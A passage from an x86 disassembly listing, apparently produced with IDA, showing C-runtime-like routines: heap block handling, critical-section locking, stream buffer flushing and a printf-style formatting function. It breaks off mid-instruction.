loc_42D9D6: ; CODE XREF: sub_42D8F9+B6j cmp eax, edx jnb short loc_42D9ED sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_42DA16 mov esi, ebx jmp short loc_42D994 ; --------------------------------------------------------------------------- loc_42D9E6: ; CODE XREF: sub_42D8F9+ABj movzx eax, al add esi, eax jmp short loc_42D994 ; --------------------------------------------------------------------------- loc_42D9ED: ; CODE XREF: sub_42D8F9+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_42D9FE sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_42DA07 ; --------------------------------------------------------------------------- loc_42D9FE: ; CODE XREF: sub_42D8F9+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_42DA07: ; CODE XREF: sub_42D8F9+103j mov [esi], dl lea eax, [esi+8] loc_42DA0C: ; CODE XREF: sub_42D8F9+40j ; sub_42D8F9+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_42DA18 ; --------------------------------------------------------------------------- loc_42DA16: ; CODE XREF: sub_42D8F9+7Ej ; sub_42D8F9+9Dj ... xor eax, eax loc_42DA18: ; CODE XREF: sub_42D8F9+11Bj pop edi pop esi pop ebx leave retn sub_42D8F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA1D proc near ; CODE XREF: sub_431C83+202p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_42DA57 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_42DAB7 ; --------------------------------------------------------------------------- loc_42DA57: ; CODE XREF: sub_42DA1D+26j jnb short loc_42DABE mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_42DABE lea eax, [ecx+edx] loc_42DA6C: ; CODE XREF: sub_42DA1D+59j cmp eax, esi jnb short loc_42DA7A cmp byte ptr [eax], 0 jnz short loc_42DA78 inc eax jmp short loc_42DA6C ; --------------------------------------------------------------------------- loc_42DA78: ; CODE XREF: sub_42DA1D+56j cmp eax, esi loc_42DA7A: ; CODE XREF: sub_42DA1D+51j jnz short loc_42DABE mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_42DAB2 cmp esi, eax jbe short loc_42DAB2 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_42DAA9 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_42DAA4 loc_42DA9D: ; CODE XREF: sub_42DA1D+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_42DA9D loc_42DAA4: ; CODE XREF: sub_42DA1D+7Ej mov [ebx+4], eax jmp short loc_42DAB2 ; --------------------------------------------------------------------------- loc_42DAA9: ; CODE XREF: sub_42DA1D+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_42DAB2: ; CODE XREF: sub_42DA1D+68j ; sub_42DA1D+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_42DAB7: ; CODE XREF: sub_42DA1D+38j mov [ebp+var_4], 1 loc_42DABE: ; CODE XREF: sub_42DA1D:loc_42DA57j ; sub_42DA1D+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_42DA1D endp ; =============== S U B R O U T I N E ======================================= sub_42DAC6 proc near ; CODE XREF: sub_42E487+1p push esi mov esi, dword_437158 push off_4531BC call esi ; dword_437158 push off_4531AC call esi ; dword_437158 push off_45319C call esi ; dword_437158 push off_45317C call esi ; dword_437158 pop esi retn sub_42DAC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DAEF proc near ; CODE XREF: sub_4297F6+3Ep ; sub_4297F6+94p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi cmp dword_453178[eax*4], 0 lea esi, ds:453178h[eax*4] jnz short loc_42DB45 push edi push 18h call sub_4297B8 mov edi, eax pop ecx test edi, edi jnz short loc_42DB1E push 11h call sub_42C67C pop ecx loc_42DB1E: ; CODE XREF: sub_42DAEF+25j push 11h call sub_42DAEF cmp dword ptr [esi], 0 pop ecx push edi jnz short loc_42DB36 call dword_437158 ; InitializeCriticalSection mov [esi], edi jmp short loc_42DB3C ; --------------------------------------------------------------------------- loc_42DB36: ; CODE XREF: sub_42DAEF+3Bj call sub_4298F2 pop ecx loc_42DB3C: ; CODE XREF: sub_42DAEF+45j push 11h call sub_42DB50 pop ecx pop edi loc_42DB45: ; CODE XREF: sub_42DAEF+16j push dword ptr [esi] call dword_4370CC ; RtlEnterCriticalSection pop esi pop ebp retn sub_42DAEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DB50 proc near ; CODE XREF: sub_42985D+2p ; sub_4298BC+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push dword_453178[eax*4] call dword_437164 ; RtlLeaveCriticalSection pop ebp retn sub_42DB50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DB65 proc near ; CODE XREF: sub_429B03+46p ; sub_429BBE+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_42DC71 test al, 40h jnz loc_42DC71 test al, 1 jz short loc_42DB9D and dword ptr [esi+4], 0 test al, 10h jz loc_42DC71 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_42DB9D: ; CODE XREF: sub_42DB65+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_42DBD7 cmp esi, offset dword_450EE0 jz short loc_42DBC5 cmp esi, offset dword_450F00 jnz short loc_42DBD0 loc_42DBC5: ; CODE XREF: sub_42DB65+56j push ebx call sub_433237 test eax, eax pop ecx jnz short loc_42DBD7 loc_42DBD0: ; CODE XREF: sub_42DB65+5Ej push esi call sub_4331F3 pop ecx loc_42DBD7: ; CODE XREF: sub_42DB65+4Ej ; sub_42DB65+69j test word ptr [esi+0Ch], 108h push edi jz short loc_42DC47 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_42DC07 push edi push eax push ebx call sub_43249C add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_42DC3D ; --------------------------------------------------------------------------- loc_42DC07: ; CODE XREF: sub_42DB65+90j cmp ebx, 0FFFFFFFFh jz short loc_42DC25 mov ecx, ebx mov eax, ebx sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_42DC2A ; --------------------------------------------------------------------------- loc_42DC25: ; CODE XREF: sub_42DB65+A5j mov eax, offset dword_4535D0 loc_42DC2A: ; CODE XREF: sub_42DB65+BEj test byte ptr [eax+4], 20h jz short loc_42DC3D push 2 push 0 push ebx call sub_42F8B8 add esp, 0Ch loc_42DC3D: ; CODE XREF: sub_42DB65+A0j ; sub_42DB65+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_42DC5B ; --------------------------------------------------------------------------- loc_42DC47: ; CODE XREF: sub_42DB65+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_43249C add esp, 0Ch mov [ebp+arg_4], eax loc_42DC5B: ; CODE XREF: sub_42DB65+E0j cmp [ebp+arg_4], edi pop edi jz short loc_42DC67 or dword ptr [esi+0Ch], 20h jmp short loc_42DC76 ; --------------------------------------------------------------------------- loc_42DC67: ; CODE XREF: sub_42DB65+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_42DC79 ; --------------------------------------------------------------------------- loc_42DC71: ; CODE XREF: sub_42DB65+10j ; sub_42DB65+18j ... or al, 20h mov [esi+0Ch], eax loc_42DC76: ; CODE XREF: sub_42DB65+100j or eax, 0FFFFFFFFh loc_42DC79: ; CODE XREF: sub_42DB65+10Aj pop esi pop ebx pop ebp retn sub_42DB65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC7D proc near ; CODE XREF: sub_429B03+29p ; sub_429BBE+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_42E396 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_42DCB1 ; --------------------------------------------------------------------------- loc_42DCA9: ; CODE XREF: sub_42DC7D+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_42DCB1: ; CODE XREF: sub_42DC7D+2Aj cmp [ebp+var_14], edx jl loc_42E396 cmp bl, 20h jl short loc_42DCD2 cmp bl, 78h jg short loc_42DCD2 movsx eax, bl mov al, [eax+4374DCh] and eax, 0Fh jmp short loc_42DCD4 ; --------------------------------------------------------------------------- loc_42DCD2: ; CODE XREF: sub_42DC7D+40j ; sub_42DC7D+45j xor eax, eax loc_42DCD4: ; CODE XREF: sub_42DC7D+53j movsx eax, byte_4374FC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_42E385 ; default jmp off_42E39E[eax*4] ; switch jump loc_42DCF2: ; DATA XREF: .text:off_42E39Eo or [ebp+var_10], 0FFFFFFFFh ; jumptable 0042DCEB case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD0D: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo movsx eax, bl ; jumptable 0042DCEB case 2 sub eax, 20h jz short loc_42DD50 sub eax, 3 jz short loc_42DD47 sub eax, 8 jz short loc_42DD3E dec eax dec eax jz short loc_42DD35 sub eax, 3 jnz loc_42E385 ; default or [ebp+var_4], 8 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD35: ; CODE XREF: sub_42DC7D+A4j or [ebp+var_4], 4 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD3E: ; CODE XREF: sub_42DC7D+A0j or [ebp+var_4], 1 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD47: ; CODE XREF: sub_42DC7D+9Bj or byte ptr [ebp+var_4], 80h jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD50: ; CODE XREF: sub_42DC7D+96j or [ebp+var_4], 2 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD59: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo cmp bl, 2Ah ; jumptable 0042DCEB case 3 jnz short loc_42DD81 lea eax, [ebp+arg_8] push eax call sub_42E45C test eax, eax pop ecx mov [ebp+var_20], eax jge loc_42E385 ; default or [ebp+var_4], 4 neg eax loc_42DD79: ; CODE XREF: sub_42DC7D+111j mov [ebp+var_20], eax jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD81: ; CODE XREF: sub_42DC7D+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_42DD79 ; --------------------------------------------------------------------------- loc_42DD90: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo mov [ebp+var_10], edx ; jumptable 0042DCEB case 4 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DD98: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo cmp bl, 2Ah ; jumptable 0042DCEB case 5 jnz short loc_42DDBB lea eax, [ebp+arg_8] push eax call sub_42E45C test eax, eax pop ecx mov [ebp+var_10], eax jge loc_42E385 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DDBB: ; CODE XREF: sub_42DC7D+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DDCD: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo cmp bl, 49h ; jumptable 0042DCEB case 6 jz short loc_42DE00 cmp bl, 68h jz short loc_42DDF7 cmp bl, 6Ch jz short loc_42DDEE cmp bl, 77h jnz loc_42E385 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DDEE: ; CODE XREF: sub_42DC7D+15Dj or [ebp+var_4], 10h jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DDF7: ; CODE XREF: sub_42DC7D+158j or [ebp+var_4], 20h jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DE00: ; CODE XREF: sub_42DC7D+153j cmp byte ptr [edi], 36h jnz short loc_42DE19 cmp byte ptr [edi+1], 34h jnz short loc_42DE19 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DE19: ; CODE XREF: sub_42DC7D+186j ; sub_42DC7D+18Cj mov [ebp+var_30], edx loc_42DE1C: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo mov ecx, off_4533B8 ; jumptable 0042DCEB case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42DE48 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_42E3BE mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42DE48: ; CODE XREF: sub_42DC7D+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_42E3BE add esp, 0Ch jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42DE60: ; CODE XREF: sub_42DC7D+6Ej ; DATA XREF: .text:off_42E39Eo movsx eax, bl ; jumptable 0042DCEB case 7 cmp eax, 67h jg loc_42E088 cmp eax, 65h jge loc_42DF0B cmp eax, 58h jg loc_42DF69 jz loc_42E0FC sub eax, 43h jz loc_42DF2C dec eax dec eax jz short loc_42DF01 dec eax dec eax jz short loc_42DF01 sub eax, 0Ch jnz loc_42E287 test word ptr [ebp+var_4], 830h jnz short loc_42DEAA or byte ptr [ebp+var_4+1], 8 loc_42DEAA: ; CODE XREF: sub_42DC7D+227j ; sub_42DC7D+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_42DEB7 mov esi, 7FFFFFFFh loc_42DEB7: ; CODE XREF: sub_42DC7D+233j lea eax, [ebp+arg_8] push eax call sub_42E45C test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_42E0D0 test ecx, ecx jnz short loc_42DEDF mov ecx, off_45323C mov [ebp+var_8], ecx loc_42DEDF: ; CODE XREF: sub_42DC7D+257j mov [ebp+var_24], 1 mov eax, ecx loc_42DEE8: ; CODE XREF: sub_42DC7D+282j mov edx, esi dec esi test edx, edx jz loc_42E0C7 cmp word ptr [eax], 0 jz loc_42E0C7 inc eax inc eax jmp short loc_42DEE8 ; --------------------------------------------------------------------------- loc_42DF01: ; CODE XREF: sub_42DC7D+212j ; sub_42DC7D+216j mov [ebp+var_34], 1 add bl, 20h loc_42DF0B: ; CODE XREF: sub_42DC7D+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_42DFEF mov [ebp+var_10], 6 jmp loc_42DFFD ; --------------------------------------------------------------------------- loc_42DF2C: ; CODE XREF: sub_42DC7D+20Aj test word ptr [ebp+var_4], 830h jnz short loc_42DF38 or byte ptr [ebp+var_4+1], 8 loc_42DF38: ; CODE XREF: sub_42DC7D+2B5j ; sub_42DC7D+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_42DF7F call sub_42E479 push eax lea eax, [ebp+var_248] push eax call sub_433260 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_42DF92 mov [ebp+var_28], 1 jmp short loc_42DF92 ; --------------------------------------------------------------------------- loc_42DF69: ; CODE XREF: sub_42DC7D+1FBj sub eax, 5Ah jz short loc_42DFA0 sub eax, 9 jz short loc_42DF38 dec eax jz loc_42E162 jmp loc_42E287 ; --------------------------------------------------------------------------- loc_42DF7F: ; CODE XREF: sub_42DC7D+2C5j call sub_42E45C pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_42DF92: ; CODE XREF: sub_42DC7D+2E1j ; sub_42DC7D+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_42E287 ; --------------------------------------------------------------------------- loc_42DFA0: ; CODE XREF: sub_42DC7D+2EFj lea eax, [ebp+arg_8] push eax call sub_42E45C test eax, eax pop ecx jz short loc_42DFE1 mov ecx, [eax+4] test ecx, ecx jz short loc_42DFE1 test byte ptr [ebp+var_4+1], 8 jz short loc_42DFD2 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_42E287 ; --------------------------------------------------------------------------- loc_42DFD2: ; CODE XREF: sub_42DC7D+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_42E284 ; --------------------------------------------------------------------------- loc_42DFE1: ; CODE XREF: sub_42DC7D+32Fj ; sub_42DC7D+336j mov eax, off_453238 mov [ebp+var_8], eax push eax jmp loc_42E07D ; --------------------------------------------------------------------------- loc_42DFEF: ; CODE XREF: sub_42DC7D+29Dj jnz short loc_42DFFD cmp bl, 67h jnz short loc_42DFFD mov [ebp+var_10], 1 loc_42DFFD: ; CODE XREF: sub_42DC7D+2AAj ; sub_42DC7D:loc_42DFEFj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_45381C mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_42E04F cmp [ebp+var_10], 0 jnz short loc_42E04F lea eax, [ebp+var_248] push eax call off_453828 pop ecx loc_42E04F: ; CODE XREF: sub_42DC7D+3BCj ; sub_42DC7D+3C2j cmp bl, 67h jnz short loc_42E066 test esi, esi jnz short loc_42E066 lea eax, [ebp+var_248] push eax call off_453820 pop ecx loc_42E066: ; CODE XREF: sub_42DC7D+3D5j ; sub_42DC7D+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42E07C or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42E07C: ; CODE XREF: sub_42DC7D+3F0j push edi loc_42E07D: ; CODE XREF: sub_42DC7D+36Dj call sub_4293A0 pop ecx jmp loc_42E284 ; --------------------------------------------------------------------------- loc_42E088: ; CODE XREF: sub_42DC7D+1E9j sub eax, 69h jz loc_42E162 sub eax, 5 jz loc_42E138 dec eax jz loc_42E125 dec eax jz short loc_42E0F5 sub eax, 3 jz loc_42DEAA dec eax dec eax jz loc_42E166 sub eax, 3 jnz loc_42E287 mov [ebp+var_2C], 27h jmp short loc_42E103 ; --------------------------------------------------------------------------- loc_42E0C7: ; CODE XREF: sub_42DC7D+270j ; sub_42DC7D+27Aj sub eax, ecx sar eax, 1 jmp loc_42E284 ; --------------------------------------------------------------------------- loc_42E0D0: ; CODE XREF: sub_42DC7D+24Fj test ecx, ecx jnz short loc_42E0DD mov ecx, off_453238 mov [ebp+var_8], ecx loc_42E0DD: ; CODE XREF: sub_42DC7D+455j mov eax, ecx loc_42E0DF: ; CODE XREF: sub_42DC7D+46Fj mov edx, esi dec esi test edx, edx jz short loc_42E0EE cmp byte ptr [eax], 0 jz short loc_42E0EE inc eax jmp short loc_42E0DF ; --------------------------------------------------------------------------- loc_42E0EE: ; CODE XREF: sub_42DC7D+467j ; sub_42DC7D+46Cj sub eax, ecx jmp loc_42E284 ; --------------------------------------------------------------------------- loc_42E0F5: ; CODE XREF: sub_42DC7D+425j mov [ebp+var_10], 8 loc_42E0FC: ; CODE XREF: sub_42DC7D+201j mov [ebp+var_2C], 7 loc_42E103: ; CODE XREF: sub_42DC7D+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42E16D mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42E16D ; --------------------------------------------------------------------------- loc_42E125: ; CODE XREF: sub_42DC7D+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42E16D or byte ptr [ebp+var_4+1], 2 jmp short loc_42E16D ; --------------------------------------------------------------------------- loc_42E138: ; CODE XREF: sub_42DC7D+417j lea eax, [ebp+arg_8] push eax call sub_42E45C test byte ptr [ebp+var_4], 20h pop ecx jz short loc_42E151 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_42E156 ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: sub_42DC7D+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_42E156: ; CODE XREF: sub_42DC7D+4D2j mov [ebp+var_28], 1 jmp loc_42E385 ; default ; --------------------------------------------------------------------------- loc_42E162: ; CODE XREF: sub_42DC7D+2F7j ; sub_42DC7D+40Ej or [ebp+var_4], 40h loc_42E166: ; CODE XREF: sub_42DC7D+432j mov [ebp+var_C], 0Ah loc_42E16D: ; CODE XREF: sub_42DC7D+491j ; sub_42DC7D+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_42E17F lea eax, [ebp+arg_8] push eax call sub_42E469 pop ecx jmp short loc_42E1C0 ; --------------------------------------------------------------------------- loc_42E17F: ; CODE XREF: sub_42DC7D+4F4j test byte ptr [ebp+var_4], 20h jz short loc_42E1A6 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42E19B call sub_42E45C pop ecx movsx eax, ax loc_42E198: ; CODE XREF: sub_42DC7D+527j ; sub_42DC7D+539j cdq jmp short loc_42E1C0 ; --------------------------------------------------------------------------- loc_42E19B: ; CODE XREF: sub_42DC7D+510j call sub_42E45C pop ecx movzx eax, ax jmp short loc_42E198 ; --------------------------------------------------------------------------- loc_42E1A6: ; CODE XREF: sub_42DC7D+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42E1B8 call sub_42E45C pop ecx jmp short loc_42E198 ; --------------------------------------------------------------------------- loc_42E1B8: ; CODE XREF: sub_42DC7D+531j call sub_42E45C pop ecx xor edx, edx loc_42E1C0: ; CODE XREF: sub_42DC7D+500j ; sub_42DC7D+51Cj test byte ptr [ebp+var_4], 40h jz short loc_42E1E1 test edx, edx jg short loc_42E1E1 jl short loc_42E1D0 test eax, eax jnb short loc_42E1E1 loc_42E1D0: ; CODE XREF: sub_42DC7D+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_42E1E5 ; --------------------------------------------------------------------------- loc_42E1E1: ; CODE XREF: sub_42DC7D+547j ; sub_42DC7D+54Bj ... mov esi, eax mov edi, edx loc_42E1E5: ; CODE XREF: sub_42DC7D+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_42E1EE and edi, 0 loc_42E1EE: ; CODE XREF: sub_42DC7D+56Cj cmp [ebp+var_10], 0 jge short loc_42E1FD mov [ebp+var_10], 1 jmp short loc_42E201 ; --------------------------------------------------------------------------- loc_42E1FD: ; CODE XREF: sub_42DC7D+575j and [ebp+var_4], 0FFFFFFF7h loc_42E201: ; CODE XREF: sub_42DC7D+57Ej mov eax, esi or eax, edi jnz short loc_42E20B and [ebp+var_1C], 0 loc_42E20B: ; CODE XREF: sub_42DC7D+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_42E211: ; CODE XREF: sub_42DC7D+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_42E221 mov eax, esi or eax, edi jz short loc_42E25C loc_42E221: ; CODE XREF: sub_42DC7D+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_42BDD0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_42BE50 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_42E252 add ebx, [ebp+var_2C] loc_42E252: ; CODE XREF: sub_42DC7D+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_42E211 ; --------------------------------------------------------------------------- loc_42E25C: ; CODE XREF: sub_42DC7D+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_42E287 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42E27A test eax, eax jnz short loc_42E287 loc_42E27A: ; CODE XREF: sub_42DC7D+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_42E284: ; CODE XREF: sub_42DC7D+35Fj ; sub_42DC7D+406j ... mov [ebp+var_C], eax loc_42E287: ; CODE XREF: sub_42DC7D+21Bj ; sub_42DC7D+2FDj ... cmp [ebp+var_28], 0 jnz loc_42E385 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_42E2BF test bh, 1 jz short loc_42E2A4 mov [ebp+var_16], 2Dh jmp short loc_42E2B8 ; --------------------------------------------------------------------------- loc_42E2A4: ; CODE XREF: sub_42DC7D+61Fj test bl, 1 jz short loc_42E2AF mov [ebp+var_16], 2Bh jmp short loc_42E2B8 ; --------------------------------------------------------------------------- loc_42E2AF: ; CODE XREF: sub_42DC7D+62Aj test bl, 2 jz short loc_42E2BF mov [ebp+var_16], 20h loc_42E2B8: ; CODE XREF: sub_42DC7D+625j ; sub_42DC7D+630j mov [ebp+var_1C], 1 loc_42E2BF: ; CODE XREF: sub_42DC7D+61Aj ; sub_42DC7D+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_42E2DF lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_42E3F3 add esp, 10h loc_42E2DF: ; CODE XREF: sub_42DC7D+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_42E424 add esp, 10h test bl, 8 jz short loc_42E311 test bl, 4 jnz short loc_42E311 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_42E3F3 add esp, 10h loc_42E311: ; CODE XREF: sub_42DC7D+67Bj ; sub_42DC7D+680j cmp [ebp+var_24], 0 jz short loc_42E358 cmp [ebp+var_C], 0 jle short loc_42E358 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_42E326: ; CODE XREF: sub_42DC7D+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_433260 pop ecx test eax, eax pop ecx jle short loc_42E36D lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_42E424 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_42E326 jmp short loc_42E36D ; --------------------------------------------------------------------------- loc_42E358: ; CODE XREF: sub_42DC7D+698j ; sub_42DC7D+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_42E424 add esp, 10h loc_42E36D: ; CODE XREF: sub_42DC7D+6BCj ; sub_42DC7D+6D9j test byte ptr [ebp+var_4], 4 jz short loc_42E385 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_42E3F3 add esp, 10h loc_42E385: ; CODE XREF: sub_42DC7D+68j ; sub_42DC7D+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_42DCA9 loc_42E396: ; CODE XREF: sub_42DC7D+1Fj ; sub_42DC7D+37j mov eax, 